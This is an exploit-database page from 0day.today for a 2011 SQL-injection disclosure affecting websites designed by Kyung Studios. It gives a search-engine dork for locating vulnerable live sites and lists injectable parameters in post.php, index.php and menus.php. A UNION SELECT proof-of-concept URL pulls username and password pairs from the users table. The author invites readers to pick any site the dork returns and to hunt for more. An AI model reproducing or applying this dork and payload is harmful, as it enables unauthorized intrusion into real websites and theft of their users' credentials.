[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Kyung Studios WebDesigners Database Disclosure vulnerability

Author
^Xecuti0N3r
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-15877
Category
web applications
Date add
18-04-2011
Platform
php
#(+)Exploit Title: Kyung Studios WebDesigners Database Disclosure vulnerability
#(+)Author   : ^Xecuti0n3r
#(+) E-mail  : xecuti0n3r()yahoo.com
#(+) dork    : intext:"Site Design by Kyung Studios"
#(+) Category  : Web Apps [SQli]

____________________________________________________________________
____________________________________________________________________

Choose any site that comes up when you enter the dork intext:"Site Design by Kyung Studios" in search engine


    *SQL injection Vulnerability*
	

#	[+]http://site.com/post.php?id='17
#	[+]http://site.com/post.php?id=[SQLi]


#	[+]http://site.com/index.php?page='ex_upcoming
#	[+]http://site.com/index.php?page=[SQLi]


#	[+]http://site.com/menus.php?menu='horsdoeuvres
#	[+]http://site.com/menus.php?menu=[SQLi]


POC : http://www.site.com/post.php?id=1+union+select+1,concat(username,0x3a,password),3,4,5,6+from+users


Well there are a lot more .. just use the dork filetype:php ;) .. 

____________________________________________________________________
____________________________________________________________________

########################################################################
(+)Exploit Coded by: ^Xecuti0n3r 
(+)Special Thanks to: MaxCaps, d3M0l!tioN3r, aNnIh!LatioN3r
########################################################################



#  0day.today [2024-11-15]  #